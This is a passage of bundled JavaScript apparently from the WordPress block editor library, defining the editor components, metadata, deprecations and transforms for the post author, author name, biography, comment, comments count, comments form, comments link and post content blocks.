                children: (0, import_i18n159.__)("Recreate")
              }
            )
          ]
        }
      ) }),
      /* @__PURE__ */ (0, import_jsx_runtime356.jsx)(import_block_editor180.BlockControls, { group: "block", children: /* @__PURE__ */ (0, import_jsx_runtime356.jsx)(
        import_block_editor180.AlignmentControl,
        {
          value: textAlign,
          onChange: (nextAlign) => {
            setAttributes({ textAlign: nextAlign });
          }
        }
      ) }),
      /* @__PURE__ */ (0, import_jsx_runtime356.jsxs)("div", { ...blockProps, children: [
        showAvatar && /* @__PURE__ */ (0, import_jsx_runtime356.jsx)("div", { className: "wp-block-post-author__avatar", children: /* @__PURE__ */ (0, import_jsx_runtime356.jsx)(
          "img",
          {
            width: avatarSize,
            src: authorDetails?.avatar_urls?.[avatarSize] || defaultAvatar,
            alt: authorDetails?.name || (0, import_i18n159.__)("Default Avatar")
          }
        ) }),
        /* @__PURE__ */ (0, import_jsx_runtime356.jsxs)("div", { className: "wp-block-post-author__content", children: [
          (!import_block_editor180.RichText.isEmpty(byline) || isSelected) && /* @__PURE__ */ (0, import_jsx_runtime356.jsx)(
            import_block_editor180.RichText,
            {
              identifier: "byline",
              className: "wp-block-post-author__byline",
              "aria-label": (0, import_i18n159.__)("Post author byline text"),
              placeholder: (0, import_i18n159.__)("Write byline\u2026"),
              value: byline,
              onChange: (value) => setAttributes({ byline: value })
            }
          ),
          /* @__PURE__ */ (0, import_jsx_runtime356.jsx)("p", { className: "wp-block-post-author__name", children: isLink ? /* @__PURE__ */ (0, import_jsx_runtime356.jsx)(
            "a",
            {
              href: "#post-author-pseudo-link",
              onClick: (event) => event.preventDefault(),
              children: authorName
            }
          ) : authorName }),
          showBio && /* @__PURE__ */ (0, import_jsx_runtime356.jsx)(
            "p",
            {
              className: "wp-block-post-author__bio",
              dangerouslySetInnerHTML: {
                __html: authorDetails?.description
              }
            }
          )
        ] })
      ] })
    ] });
  }
  var edit_default25 = PostAuthorEdit;

  // packages/block-library/build-module/post-author/index.mjs
  var { name: name66 } = block_default65;
  var settings65 = {
    icon: post_author_default,
    example: {
      viewportWidth: 350,
      attributes: {
        showBio: true,
        byline: (0, import_i18n160.__)("Posted by")
      }
    },
    edit: edit_default25
  };
  var init65 = () => initBlock({ name: name66, metadata: block_default65, settings: settings65 });

  // packages/block-library/build-module/post-author-name/index.mjs
  var post_author_name_exports = {};
  __export(post_author_name_exports, {
    init: () => init66,
    metadata: () => block_default66,
    name: () => name67,
    settings: () => settings66
  });

  // packages/block-library/build-module/post-author-name/block.json
  var block_default66 = {
    $schema: "https://schemas.wp.org/trunk/block.json",
    apiVersion: 3,
    name: "core/post-author-name",
    title: "Author Name",
    category: "theme",
    description: "The author name.",
    textdomain: "default",
    attributes: {
      isLink: {
        type: "boolean",
        default: false,
        role: "content"
      },
      linkTarget: {
        type: "string",
        default: "_self",
        role: "content"
      }
    },
    usesContext: ["postType", "postId"],
    example: {
      viewportWidth: 350
    },
    supports: {
      anchor: true,
      html: false,
      spacing: {
        margin: true,
        padding: true
      },
      color: {
        gradients: true,
        link: true,
        __experimentalDefaultControls: {
          background: true,
          text: true,
          link: true
        }
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        textAlign: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      interactivity: {
        clientNavigation: true
      },
      __experimentalBorder: {
        radius: true,
        color: true,
        width: true,
        style: true,
        __experimentalDefaultControls: {
          radius: true,
          color: true,
          width: true,
          style: true
        }
      }
    },
    style: "wp-block-post-author-name"
  };

  // packages/block-library/build-module/post-author-name/edit.mjs
  var import_block_editor181 = __toESM(require_block_editor(), 1);
  var import_data100 = __toESM(require_data(), 1);
  var import_i18n161 = __toESM(require_i18n(), 1);
  var import_core_data55 = __toESM(require_core_data(), 1);
  var import_components105 = __toESM(require_components(), 1);
  var import_jsx_runtime357 = __toESM(require_jsx_runtime(), 1);
  function PostAuthorNameEdit(props) {
    useDeprecatedTextAlign(props);
    const {
      attributes: { isLink, linkTarget },
      setAttributes,
      context: { postType, postId }
    } = props;
    const { authorName, supportsAuthor } = (0, import_data100.useSelect)(
      (select9) => {
        const { getEditedEntityRecord, getUser, getPostType } = select9(import_core_data55.store);
        const _authorId = getEditedEntityRecord(
          "postType",
          postType,
          postId
        )?.author;
        return {
          authorName: _authorId ? getUser(_authorId) : null,
          supportsAuthor: getPostType(postType)?.supports?.author ?? false
        };
      },
      [postType, postId]
    );
    const blockProps = (0, import_block_editor181.useBlockProps)();
    const displayName = authorName?.name || (0, import_i18n161.__)("Author Name");
    const displayAuthor = isLink ? /* @__PURE__ */ (0, import_jsx_runtime357.jsx)(
      "a",
      {
        href: "#author-pseudo-link",
        onClick: (event) => event.preventDefault(),
        className: "wp-block-post-author-name__link",
        children: displayName
      }
    ) : displayName;
    const dropdownMenuProps = useToolsPanelDropdownMenuProps();
    return /* @__PURE__ */ (0, import_jsx_runtime357.jsxs)(import_jsx_runtime357.Fragment, { children: [
      /* @__PURE__ */ (0, import_jsx_runtime357.jsx)(import_block_editor181.InspectorControls, { children: /* @__PURE__ */ (0, import_jsx_runtime357.jsxs)(
        import_components105.__experimentalToolsPanel,
        {
          label: (0, import_i18n161.__)("Settings"),
          resetAll: () => {
            setAttributes({
              isLink: false,
              linkTarget: "_self"
            });
          },
          dropdownMenuProps,
          children: [
            /* @__PURE__ */ (0, import_jsx_runtime357.jsx)(
              import_components105.__experimentalToolsPanelItem,
              {
                label: (0, import_i18n161.__)("Link to author archive"),
                isShownByDefault: true,
                hasValue: () => isLink,
                onDeselect: () => setAttributes({ isLink: false }),
                children: /* @__PURE__ */ (0, import_jsx_runtime357.jsx)(
                  import_components105.ToggleControl,
                  {
                    label: (0, import_i18n161.__)("Link to author archive"),
                    onChange: () => setAttributes({ isLink: !isLink }),
                    checked: isLink
                  }
                )
              }
            ),
            isLink && /* @__PURE__ */ (0, import_jsx_runtime357.jsx)(
              import_components105.__experimentalToolsPanelItem,
              {
                label: (0, import_i18n161.__)("Open in new tab"),
                isShownByDefault: true,
                hasValue: () => linkTarget !== "_self",
                onDeselect: () => setAttributes({ linkTarget: "_self" }),
                children: /* @__PURE__ */ (0, import_jsx_runtime357.jsx)(
                  import_components105.ToggleControl,
                  {
                    label: (0, import_i18n161.__)("Open in new tab"),
                    onChange: (value) => setAttributes({
                      linkTarget: value ? "_blank" : "_self"
                    }),
                    checked: linkTarget === "_blank"
                  }
                )
              }
            )
          ]
        }
      ) }),
      /* @__PURE__ */ (0, import_jsx_runtime357.jsx)("div", { ...blockProps, children: !supportsAuthor && postType !== void 0 ? (0, import_i18n161.sprintf)(
        // translators: %s: Name of the post type e.g: "post".
        (0, import_i18n161.__)(
          "This post type (%s) does not support the author."
        ),
        postType
      ) : displayAuthor })
    ] });
  }
  var edit_default26 = PostAuthorNameEdit;

  // packages/block-library/build-module/post-author-name/deprecated.mjs
  var v125 = {
    attributes: {
      isLink: {
        type: "boolean",
        default: false,
        role: "content"
      },
      linkTarget: {
        type: "string",
        default: "_self",
        role: "content"
      },
      textAlign: {
        type: "string"
      }
    },
    supports: {
      anchor: true,
      html: false,
      spacing: {
        margin: true,
        padding: true
      },
      color: {
        gradients: true,
        link: true,
        __experimentalDefaultControls: {
          background: true,
          text: true
        }
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      interactivity: {
        clientNavigation: true
      },
      __experimentalBorder: {
        radius: true,
        color: true,
        width: true,
        style: true,
        __experimentalDefaultControls: {
          radius: true,
          color: true,
          width: true,
          style: true
        }
      }
    },
    migrate: migrate_text_align_default,
    isEligible(attributes2) {
      return !!attributes2.textAlign || !!attributes2.className?.match(
        /\bhas-text-align-(left|center|right)\b/
      );
    },
    save: () => null
  };
  var deprecated_default30 = [v125];

  // packages/block-library/build-module/post-author-name/transforms.mjs
  var import_blocks80 = __toESM(require_blocks(), 1);
  var transforms22 = {
    from: [
      {
        type: "block",
        blocks: ["core/post-author"],
        transform: ({ textAlign }) => (0, import_blocks80.createBlock)("core/post-author-name", {
          style: { typography: { textAlign } }
        })
      }
    ]
  };
  var transforms_default23 = transforms22;

  // packages/block-library/build-module/post-author-name/index.mjs
  var { name: name67 } = block_default66;
  var settings66 = {
    icon: post_author_default,
    transforms: transforms_default23,
    edit: edit_default26,
    deprecated: deprecated_default30
  };
  var init66 = () => initBlock({ name: name67, metadata: block_default66, settings: settings66 });

  // packages/block-library/build-module/post-author-biography/index.mjs
  var post_author_biography_exports = {};
  __export(post_author_biography_exports, {
    init: () => init67,
    metadata: () => block_default67,
    name: () => name68,
    settings: () => settings67
  });

  // packages/block-library/build-module/post-author-biography/block.json
  var block_default67 = {
    $schema: "https://schemas.wp.org/trunk/block.json",
    apiVersion: 3,
    name: "core/post-author-biography",
    title: "Author Biography",
    category: "theme",
    description: "The author biography.",
    textdomain: "default",
    usesContext: ["postType", "postId"],
    example: {
      viewportWidth: 350
    },
    supports: {
      anchor: true,
      spacing: {
        margin: true,
        padding: true
      },
      color: {
        gradients: true,
        link: true,
        __experimentalDefaultControls: {
          background: true,
          text: true
        }
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        textAlign: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      interactivity: {
        clientNavigation: true
      },
      __experimentalBorder: {
        radius: true,
        color: true,
        width: true,
        style: true,
        __experimentalDefaultControls: {
          radius: true,
          color: true,
          width: true,
          style: true
        }
      }
    },
    style: "wp-block-post-author-biography"
  };

  // packages/block-library/build-module/post-author-biography/edit.mjs
  var import_block_editor182 = __toESM(require_block_editor(), 1);
  var import_data101 = __toESM(require_data(), 1);
  var import_i18n162 = __toESM(require_i18n(), 1);
  var import_core_data56 = __toESM(require_core_data(), 1);
  var import_jsx_runtime358 = __toESM(require_jsx_runtime(), 1);
  function PostAuthorBiographyEdit(props) {
    useDeprecatedTextAlign(props);
    const {
      context: { postType, postId }
    } = props;
    const { authorDetails } = (0, import_data101.useSelect)(
      (select9) => {
        const { getEditedEntityRecord, getUser } = select9(import_core_data56.store);
        const _authorId = getEditedEntityRecord(
          "postType",
          postType,
          postId
        )?.author;
        return {
          authorDetails: _authorId ? getUser(_authorId) : null
        };
      },
      [postType, postId]
    );
    const blockProps = (0, import_block_editor182.useBlockProps)();
    const displayAuthorBiography = authorDetails?.description || (0, import_i18n162.__)("Author Biography");
    return /* @__PURE__ */ (0, import_jsx_runtime358.jsx)(import_jsx_runtime358.Fragment, { children: /* @__PURE__ */ (0, import_jsx_runtime358.jsx)(
      "div",
      {
        ...blockProps,
        dangerouslySetInnerHTML: { __html: displayAuthorBiography }
      }
    ) });
  }
  var edit_default27 = PostAuthorBiographyEdit;

  // packages/block-library/build-module/post-author-biography/deprecated.mjs
  var v126 = {
    attributes: {
      textAlign: {
        type: "string"
      }
    },
    supports: {
      anchor: true,
      spacing: {
        margin: true,
        padding: true
      },
      color: {
        gradients: true,
        link: true,
        __experimentalDefaultControls: {
          background: true,
          text: true
        }
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      interactivity: {
        clientNavigation: true
      },
      __experimentalBorder: {
        radius: true,
        color: true,
        width: true,
        style: true,
        __experimentalDefaultControls: {
          radius: true,
          color: true,
          width: true,
          style: true
        }
      }
    },
    migrate: migrate_text_align_default,
    isEligible(attributes2) {
      return !!attributes2.textAlign || !!attributes2.className?.match(
        /\bhas-text-align-(left|center|right)\b/
      );
    },
    save: () => null
  };
  var deprecated_default31 = [v126];

  // packages/block-library/build-module/post-author-biography/index.mjs
  var { name: name68 } = block_default67;
  var settings67 = {
    icon: post_author_default,
    edit: edit_default27,
    deprecated: deprecated_default31
  };
  var init67 = () => initBlock({ name: name68, metadata: block_default67, settings: settings67 });

  // packages/block-library/build-module/post-comment/index.mjs
  var post_comment_exports = {};
  __export(post_comment_exports, {
    init: () => init68,
    metadata: () => block_default68,
    name: () => name69,
    settings: () => settings68
  });

  // packages/block-library/build-module/post-comment/block.json
  var block_default68 = {
    $schema: "https://schemas.wp.org/trunk/block.json",
    apiVersion: 3,
    __experimental: "fse",
    name: "core/post-comment",
    title: "Comment (deprecated)",
    category: "theme",
    allowedBlocks: [
      "core/avatar",
      "core/comment-author-name",
      "core/comment-content",
      "core/comment-date",
      "core/comment-edit-link",
      "core/comment-reply-link"
    ],
    description: "This block is deprecated. Please use the Comments block instead.",
    textdomain: "default",
    attributes: {
      commentId: {
        type: "number"
      }
    },
    providesContext: {
      commentId: "commentId"
    },
    supports: {
      html: false,
      inserter: false,
      interactivity: {
        clientNavigation: true
      }
    }
  };

  // packages/block-library/build-module/post-comment/edit.mjs
  var import_i18n163 = __toESM(require_i18n(), 1);
  var import_components106 = __toESM(require_components(), 1);
  var import_element92 = __toESM(require_element(), 1);
  var import_block_editor183 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime359 = __toESM(require_jsx_runtime(), 1);
  var TEMPLATE11 = [
    ["core/avatar"],
    ["core/comment-author-name"],
    ["core/comment-date"],
    ["core/comment-content"],
    ["core/comment-reply-link"],
    ["core/comment-edit-link"]
  ];
  function Edit18({ attributes: { commentId }, setAttributes }) {
    const [commentIdInput, setCommentIdInput] = (0, import_element92.useState)(commentId);
    const blockProps = (0, import_block_editor183.useBlockProps)();
    const innerBlocksProps = (0, import_block_editor183.useInnerBlocksProps)(blockProps, {
      template: TEMPLATE11
    });
    if (!commentId) {
      return /* @__PURE__ */ (0, import_jsx_runtime359.jsx)("div", { ...blockProps, children: /* @__PURE__ */ (0, import_jsx_runtime359.jsxs)(
        import_components106.Placeholder,
        {
          icon: block_default_default,
          label: (0, import_i18n163._x)("Post Comment", "block title"),
          instructions: (0, import_i18n163.__)(
            "To show a comment, input the comment ID."
          ),
          children: [
            /* @__PURE__ */ (0, import_jsx_runtime359.jsx)(
              import_components106.TextControl,
              {
                __next40pxDefaultSize: true,
                value: commentId,
                onChange: (val) => setCommentIdInput(parseInt(val))
              }
            ),
            /* @__PURE__ */ (0, import_jsx_runtime359.jsx)(
              import_components106.Button,
              {
                __next40pxDefaultSize: true,
                variant: "primary",
                onClick: () => {
                  setAttributes({ commentId: commentIdInput });
                },
                children: (0, import_i18n163.__)("Save")
              }
            )
          ]
        }
      ) });
    }
    return /* @__PURE__ */ (0, import_jsx_runtime359.jsx)("div", { ...innerBlocksProps });
  }

  // packages/block-library/build-module/post-comment/save.mjs
  var import_block_editor184 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime360 = __toESM(require_jsx_runtime(), 1);
  function save38() {
    const blockProps = import_block_editor184.useBlockProps.save();
    const innerBlocksProps = import_block_editor184.useInnerBlocksProps.save(blockProps);
    return /* @__PURE__ */ (0, import_jsx_runtime360.jsx)("div", { ...innerBlocksProps });
  }

  // packages/block-library/build-module/post-comment/index.mjs
  var { name: name69 } = block_default68;
  var settings68 = {
    icon: comment_default,
    edit: Edit18,
    save: save38
  };
  var init68 = () => initBlock({ name: name69, metadata: block_default68, settings: settings68 });

  // packages/block-library/build-module/post-comments-count/index.mjs
  var post_comments_count_exports = {};
  __export(post_comments_count_exports, {
    init: () => init69,
    metadata: () => block_default69,
    name: () => name70,
    settings: () => settings69
  });

  // packages/block-library/build-module/post-comments-count/block.json
  var block_default69 = {
    $schema: "https://schemas.wp.org/trunk/block.json",
    apiVersion: 3,
    name: "core/post-comments-count",
    title: "Comments Count",
    category: "theme",
    description: "Display a post's comments count.",
    textdomain: "default",
    usesContext: ["postId"],
    example: {
      viewportWidth: 350
    },
    supports: {
      anchor: true,
      html: false,
      color: {
        gradients: true,
        __experimentalDefaultControls: {
          background: true,
          text: true
        }
      },
      spacing: {
        margin: true,
        padding: true
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        textAlign: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      __experimentalBorder: {
        radius: true,
        color: true,
        width: true,
        style: true
      },
      interactivity: {
        clientNavigation: true
      }
    },
    style: "wp-block-post-comments-count"
  };

  // packages/block-library/build-module/post-comments-count/edit.mjs
  var import_block_editor185 = __toESM(require_block_editor(), 1);
  var import_element93 = __toESM(require_element(), 1);
  var import_api_fetch3 = __toESM(require_api_fetch(), 1);
  var import_url17 = __toESM(require_url(), 1);
  var import_jsx_runtime361 = __toESM(require_jsx_runtime(), 1);
  function PostCommentsCountEdit({ context }) {
    const { postId } = context;
    const [commentsCount, setCommentsCount] = (0, import_element93.useState)();
    const blockProps = (0, import_block_editor185.useBlockProps)();
    (0, import_element93.useEffect)(() => {
      if (!postId) {
        return;
      }
      const currentPostId = postId;
      (0, import_api_fetch3.default)({
        path: (0, import_url17.addQueryArgs)("/wp/v2/comments", {
          post: postId
        }),
        parse: false
      }).then((res) => {
        if (currentPostId === postId) {
          setCommentsCount(res.headers.get("X-WP-Total"));
        }
      });
    }, [postId]);
    const hasPostAndComments = postId && commentsCount !== void 0;
    const blockStyles = {
      ...blockProps.style,
      textDecoration: hasPostAndComments ? blockProps.style?.textDecoration : void 0
    };
    return /* @__PURE__ */ (0, import_jsx_runtime361.jsx)("div", { ...blockProps, style: blockStyles, children: hasPostAndComments ? commentsCount : "0" });
  }

  // packages/block-library/build-module/post-comments-count/transforms.mjs
  var import_blocks81 = __toESM(require_blocks(), 1);
  var transforms23 = {
    to: [
      {
        type: "block",
        blocks: ["core/post-comments-link"],
        transform: ({ style: style2 }) => {
          const textAlign = style2?.typography?.textAlign;
          return (0, import_blocks81.createBlock)("core/post-comments-link", {
            ...textAlign && {
              style: {
                typography: {
                  textAlign
                }
              }
            }
          });
        }
      }
    ]
  };
  var transforms_default24 = transforms23;

  // packages/block-library/build-module/post-comments-count/deprecated.mjs
  var v127 = {
    attributes: {
      textAlign: {
        type: "string"
      }
    },
    supports: {
      anchor: true,
      html: false,
      spacing: {
        margin: true,
        padding: true
      },
      color: {
        gradients: true,
        __experimentalDefaultControls: {
          background: true,
          text: true
        }
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      interactivity: {
        clientNavigation: true
      },
      __experimentalBorder: {
        radius: true,
        color: true,
        width: true,
        style: true
      }
    },
    migrate: migrate_text_align_default,
    isEligible(attributes2) {
      return !!attributes2.textAlign || !!attributes2.className?.match(
        /\bhas-text-align-(left|center|right)\b/
      );
    },
    save: () => null
  };
  var deprecated_default32 = [v127];

  // packages/block-library/build-module/post-comments-count/index.mjs
  var { name: name70 } = block_default69;
  var settings69 = {
    icon: post_comments_count_default,
    edit: PostCommentsCountEdit,
    transforms: transforms_default24,
    deprecated: deprecated_default32
  };
  var init69 = () => initBlock({ name: name70, metadata: block_default69, settings: settings69 });

  // packages/block-library/build-module/post-comments-form/index.mjs
  var post_comments_form_exports = {};
  __export(post_comments_form_exports, {
    init: () => init70,
    metadata: () => block_default70,
    name: () => name71,
    settings: () => settings70
  });

  // packages/block-library/build-module/post-comments-form/block.json
  var block_default70 = {
    $schema: "https://schemas.wp.org/trunk/block.json",
    apiVersion: 3,
    name: "core/post-comments-form",
    title: "Comments Form",
    category: "theme",
    description: "Display a post's comments form.",
    textdomain: "default",
    usesContext: ["postId", "postType"],
    supports: {
      anchor: true,
      html: false,
      color: {
        gradients: true,
        heading: true,
        link: true,
        __experimentalDefaultControls: {
          background: true,
          text: true
        }
      },
      spacing: {
        margin: true,
        padding: true
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        textAlign: true,
        __experimentalFontStyle: true,
        __experimentalFontWeight: true,
        __experimentalLetterSpacing: true,
        __experimentalTextTransform: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      __experimentalBorder: {
        radius: true,
        color: true,
        width: true,
        style: true,
        __experimentalDefaultControls: {
          radius: true,
          color: true,
          width: true,
          style: true
        }
      }
    },
    editorStyle: "wp-block-post-comments-form-editor",
    style: [
      "wp-block-post-comments-form",
      "wp-block-buttons",
      "wp-block-button"
    ],
    example: {
      attributes: {
        style: {
          typography: {
            textAlign: "center"
          }
        }
      }
    }
  };

  // packages/block-library/build-module/post-comments-form/edit.mjs
  var import_block_editor186 = __toESM(require_block_editor(), 1);
  var import_components107 = __toESM(require_components(), 1);
  var import_compose43 = __toESM(require_compose(), 1);
  var import_i18n164 = __toESM(require_i18n(), 1);
  var import_jsx_runtime362 = __toESM(require_jsx_runtime(), 1);
  function PostCommentsFormEdit({ context }) {
    const { postId, postType } = context;
    const instanceId = (0, import_compose43.useInstanceId)(PostCommentsFormEdit);
    const instanceIdDesc = (0, import_i18n164.sprintf)("comments-form-edit-%d-desc", instanceId);
    const blockProps = (0, import_block_editor186.useBlockProps)({
      "aria-describedby": instanceIdDesc
    });
    return /* @__PURE__ */ (0, import_jsx_runtime362.jsxs)("div", { ...blockProps, children: [
      /* @__PURE__ */ (0, import_jsx_runtime362.jsx)(form_default, { postId, postType }),
      /* @__PURE__ */ (0, import_jsx_runtime362.jsx)(import_components107.VisuallyHidden, { id: instanceIdDesc, children: (0, import_i18n164.__)("Comments form disabled in editor.") })
    ] });
  }

  // packages/block-library/build-module/post-comments-form/deprecated.mjs
  var v128 = {
    attributes: {
      textAlign: {
        type: "string"
      }
    },
    supports: {
      anchor: true,
      html: false,
      spacing: {
        margin: true,
        padding: true
      },
      color: {
        gradients: true,
        heading: true,
        link: true,
        __experimentalDefaultControls: {
          background: true,
          text: true
        }
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      interactivity: {
        clientNavigation: true
      },
      __experimentalBorder: {
        radius: true,
        color: true,
        width: true,
        style: true,
        __experimentalDefaultControls: {
          radius: true,
          color: true,
          width: true,
          style: true
        }
      }
    },
    migrate: migrate_text_align_default,
    isEligible(attributes2) {
      return !!attributes2.textAlign || !!attributes2.className?.match(
        /\bhas-text-align-(left|center|right)\b/
      );
    },
    save: () => null
  };
  var deprecated_default33 = [v128];

  // packages/block-library/build-module/post-comments-form/index.mjs
  var { name: name71 } = block_default70;
  var settings70 = {
    icon: post_comments_form_default,
    edit: PostCommentsFormEdit,
    deprecated: deprecated_default33
  };
  var init70 = () => initBlock({ name: name71, metadata: block_default70, settings: settings70 });

  // packages/block-library/build-module/post-comments-link/index.mjs
  var post_comments_link_exports = {};
  __export(post_comments_link_exports, {
    init: () => init71,
    metadata: () => block_default71,
    name: () => name72,
    settings: () => settings71
  });

  // packages/block-library/build-module/post-comments-link/block.json
  var block_default71 = {
    $schema: "https://schemas.wp.org/trunk/block.json",
    apiVersion: 3,
    name: "core/post-comments-link",
    title: "Comments Link",
    category: "theme",
    description: "Displays the link to the current post comments.",
    textdomain: "default",
    usesContext: ["postType", "postId"],
    example: {
      viewportWidth: 350
    },
    supports: {
      anchor: true,
      html: false,
      color: {
        link: true,
        text: false,
        __experimentalDefaultControls: {
          background: true,
          link: true
        }
      },
      spacing: {
        margin: true,
        padding: true
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        textAlign: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      interactivity: {
        clientNavigation: true
      },
      __experimentalBorder: {
        radius: true,
        color: true,
        width: true,
        style: true,
        __experimentalDefaultControls: {
          radius: true,
          color: true,
          width: true,
          style: true
        }
      }
    },
    style: "wp-block-post-comments-link"
  };

  // packages/block-library/build-module/post-comments-link/edit.mjs
  var import_block_editor187 = __toESM(require_block_editor(), 1);
  var import_element94 = __toESM(require_element(), 1);
  var import_data102 = __toESM(require_data(), 1);
  var import_api_fetch4 = __toESM(require_api_fetch(), 1);
  var import_url18 = __toESM(require_url(), 1);
  var import_i18n165 = __toESM(require_i18n(), 1);
  var import_core_data57 = __toESM(require_core_data(), 1);
  var import_jsx_runtime363 = __toESM(require_jsx_runtime(), 1);
  function PostCommentsLinkEdit({ context }) {
    const { postType, postId } = context;
    const [commentsCount, setCommentsCount] = (0, import_element94.useState)();
    const blockProps = (0, import_block_editor187.useBlockProps)();
    (0, import_element94.useEffect)(() => {
      if (!postId) {
        return;
      }
      const currentPostId = postId;
      (0, import_api_fetch4.default)({
        path: (0, import_url18.addQueryArgs)("/wp/v2/comments", {
          post: postId
        }),
        parse: false
      }).then((res) => {
        if (currentPostId === postId) {
          setCommentsCount(res.headers.get("X-WP-Total"));
        }
      });
    }, [postId]);
    const post = (0, import_data102.useSelect)(
      (select9) => select9(import_core_data57.store).getEditedEntityRecord(
        "postType",
        postType,
        postId
      ),
      [postType, postId]
    );
    let commentsText;
    if (commentsCount !== void 0) {
      const commentsNumber = parseInt(commentsCount);
      if (commentsNumber === 0) {
        commentsText = (0, import_i18n165.__)("No comments");
      } else {
        commentsText = (0, import_i18n165.sprintf)(
          /* translators: %s: Number of comments */
          (0, import_i18n165._n)("%s comment", "%s comments", commentsNumber),
          commentsNumber.toLocaleString()
        );
      }
    }
    return /* @__PURE__ */ (0, import_jsx_runtime363.jsx)("div", { ...blockProps, children: post?.link && commentsText !== void 0 ? /* @__PURE__ */ (0, import_jsx_runtime363.jsx)(
      "a",
      {
        href: post?.link + "#comments",
        onClick: (event) => event.preventDefault(),
        children: commentsText
      }
    ) : /* @__PURE__ */ (0, import_jsx_runtime363.jsx)(
      "a",
      {
        href: "#post-comments-link-pseudo-link",
        onClick: (event) => event.preventDefault(),
        children: (0, import_i18n165.__)("No comments")
      }
    ) });
  }
  var edit_default28 = PostCommentsLinkEdit;

  // packages/block-library/build-module/post-comments-link/transforms.mjs
  var import_blocks82 = __toESM(require_blocks(), 1);
  var transforms24 = {
    to: [
      {
        type: "block",
        blocks: ["core/post-comments-count"],
        transform: ({ style: style2 }) => {
          const textAlign = style2?.typography?.textAlign;
          return (0, import_blocks82.createBlock)("core/post-comments-count", {
            ...textAlign && {
              style: {
                typography: {
                  textAlign
                }
              }
            }
          });
        }
      }
    ]
  };
  var transforms_default25 = transforms24;

  // packages/block-library/build-module/post-comments-link/deprecated.mjs
  var v129 = {
    attributes: {
      textAlign: {
        type: "string"
      }
    },
    supports: {
      anchor: true,
      html: false,
      spacing: {
        margin: true,
        padding: true
      },
      color: {
        link: true,
        text: false,
        __experimentalDefaultControls: {
          background: true,
          link: true
        }
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      interactivity: {
        clientNavigation: true
      },
      __experimentalBorder: {
        radius: true,
        color: true,
        width: true,
        style: true,
        __experimentalDefaultControls: {
          radius: true,
          color: true,
          width: true,
          style: true
        }
      }
    },
    migrate: migrate_text_align_default,
    isEligible(attributes2) {
      return !!attributes2.textAlign || !!attributes2.className?.match(
        /\bhas-text-align-(left|center|right)\b/
      );
    },
    save: () => null
  };
  var deprecated_default34 = [v129];

  // packages/block-library/build-module/post-comments-link/index.mjs
  var { name: name72 } = block_default71;
  var settings71 = {
    edit: edit_default28,
    icon: post_comments_count_default,
    transforms: transforms_default25,
    deprecated: deprecated_default34
  };
  var init71 = () => initBlock({ name: name72, metadata: block_default71, settings: settings71 });

  // packages/block-library/build-module/post-content/index.mjs
  var post_content_exports = {};
  __export(post_content_exports, {
    init: () => init72,
    metadata: () => block_default72,
    name: () => name73,
    settings: () => settings72
  });

  // packages/block-library/build-module/post-content/block.json
  var block_default72 = {
    $schema: "https://schemas.wp.org/trunk/block.json",
    apiVersion: 3,
    name: "core/post-content",
    title: "Content",
    category: "theme",
    description: "Displays the contents of a post or page.",
    textdomain: "default",
    usesContext: ["postId", "postType", "queryId"],
    attributes: {
      tagName: {
        type: "string",
        default: "div"
      }
    },
    example: {
      viewportWidth: 350
    },
    supports: {
      anchor: true,
      align: ["wide", "full"],
      html: false,
      layout: true,
      background: {
        backgroundImage: true,
        backgroundSize: true,
        __experimentalDefaultControls: {
          backgroundImage: true
        }
      },
      dimensions: {
        minHeight: true
      },
      spacing: {
        blockGap: true,
        padding: true,
        margin: true,
        __experimentalDefaultControls: {
          margin: false,
          padding: false
        }
      },
      color: {
        gradients: true,
        heading: true,
        link: true,
        __experimentalDefaultControls: {
          background: false,
          text: false
        }
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
